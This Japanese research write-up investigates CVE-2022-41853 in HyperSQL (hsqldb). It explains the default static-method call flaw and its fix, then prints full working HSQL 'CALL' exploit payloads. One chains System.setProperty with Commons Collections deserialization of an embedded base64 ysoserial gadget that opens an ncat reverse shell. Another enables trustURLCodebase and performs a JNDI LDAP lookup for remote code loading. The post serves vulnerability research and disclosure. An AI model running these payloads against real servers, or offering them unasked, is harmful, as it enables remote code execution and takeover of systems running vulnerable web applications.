
CVE-2022-41853の調査:Javaデシリアライゼーションとリモートコードベース攻撃による静的関数を用いたRCEの取得
hsqldb (HyperSQL DataBase) で java.sql.Statement または java.sql.PreparedStatement を使用して信頼できない入力を処理する場合、リモートコード実行攻撃に対して脆弱になる可能性があります。デフォルトでは、クラスパス内の任意の Java クラスの静的メソッドを呼び出すことが許可されており、コード実行につながります。この問題は、バージョン 2.7.1 に更新するか、システムプロパティ "hsqldb.method_class_names" を呼び出しを許可するクラスに設定することで防止できます。例えば、System.setProperty("hsqldb.method_class_names", "abc") または Java 引数 -Dhsqldb.method_class_names="abc" を使用できます。バージョン 2.7.1 以降、デフォルトでは java.lang.Math を除くすべてのクラスにアクセスできなくなり、手動で有効にする必要があります。
この脆弱性の最初の開示はこちらにあります。
OSS-Fuzz チーム
https://github.com/google/oss-fuzz
2021年に、Mikhail Klyuchnikov によるブログ記事 "Remote Code Execution in F5 Big‑IP" を読んで、パス正規化攻撃と HSQL の "CALL" クエリを使用して任意の Java 静的メソッドを呼び出し RCE を取得する方法について学びました。
当時、私は Apache SOLR の脆弱性を報告・調査していたため、JDBC Stream の例 が HSQL を使用していることを思い出し、テスト環境をセットアップしました。

注意: 残念ながら、この脆弱性はデフォルトの Apache Solr サーバーには影響しません。HSQL JAR をフォルダ “./server/solr-webapp/webapp/WEB-INF/lib/” に特別に配置して、Stream JDBC コンポーネントからドライバにアクセスできるようにする必要があるためです。
F5 の RCE は "tmui.jar" (F5 アプリケーション固有の JAR) 内の "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" 関数を使用しているため、アプリケーションに依存しないペイロードを考案したいと考え、一般的に使用される JAR (例: Apache Commons Collections、Apache Log4J) を連鎖させて静的関数を呼び出し RCE を取得する方法を調査しました。
ysoserial の CommonsCollections* ガジェットが最初に思い浮かんだため、Java デシリアライゼーションのルートを進み、以下の結果を得ました。
java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') を呼び出して安全でないデシリアライゼーションを有効にする (なぜガードを回避するのか、ガードを完全に取り除けば良いのです :) ) )ObjectInputStream(x).readObject() 関数に到達するためのシンクとして public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) を使用するdeserialize(byte[] objectData) で取り込まれるバイト配列に変換するために、public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) または public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s) 関数を使用する完全な HSQL ペイロードは以下の形式です。
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))
注意: この場合、ysoserial ペイロードは CommonsCollection6 タイプで、ncat -e /bin/bash 127.1 4444 リバースシェルコマンドを実行します。
注意2: スタンドアロンの HSQLDB.jar は Apache Commons Collections JAR を含まないため、このペイロードに対して脆弱ではありません。この脆弱性は、HSQL が Web アプリケーション (例: SOLR、Liferay など) に含まれている場合に (ほとんどの場合) 機能します。
詳細と悪用プロセスについては、この PDF を参照してください。
2023年にこのテーマについて調べていたところ、java.lang.System.setProperty を使用して com.sun.jndi.ldap.object.trustURLCodebase または com.sun.jndi.rmi.object.trustURLCodebase を true に設定し、その後 LDAP/RMI ルックアップを実行して Java リモートコードベース攻撃を成功させるという、素晴らしいプレゼンテーション Exploring JNDI Attacks by iSafeBlue に出会いました。
例 HSQL ペイロード:
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')
結果:

注意: 不明な理由により、この脆弱性はデフォルトの HSQLDB.jar では機能しますが、HSQL + Apache SOLR 環境では機能しません ¯\_(ツ)_/¯。